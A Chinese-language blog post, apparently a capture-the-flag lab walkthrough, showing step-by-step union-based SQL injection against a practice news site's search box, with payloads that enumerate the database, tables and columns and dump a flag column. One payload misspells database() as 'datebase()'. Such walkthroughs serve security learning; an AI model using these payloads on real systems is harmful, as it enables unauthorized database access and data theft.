SQL注入实践之路1

靶机链接:黑客新闻

简单梳理一下大致流程:寻找注入点--->确定注入方法--->查数据库名--->查表--->查列--->爆出内容

确定思路开始实施

发现有个搜索框,判断其是不是注入点(基于报错、布尔值、时间盲注及联合查询)

这里我先采用了1'进行测试

返回错误

发现注入点

查数据库列数

' and 0 union select 1,2,3 from information_schema.tables#(标识部分为测试部分)或直接用1'union select 1,2,3#

查数据库名:

' and 0 union select 1,2,database()#还可以用1' union select 1,2,datebase()#以及1' union select 1,null,database()#

知道了数据库名我们就可以接着查它的表了

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

接着查列

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table' and table_schema='news'#(语句里的table_name='表名 ',table_schema='数据库名' )

查内容

1' union select null,group_concat(id),group_concat(fl4g) from secret_table#(要查的是哪个表就将标识处换成哪个表的名称)

还可以用1' and 0 union select 1,2,fl4g from secret_table #

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值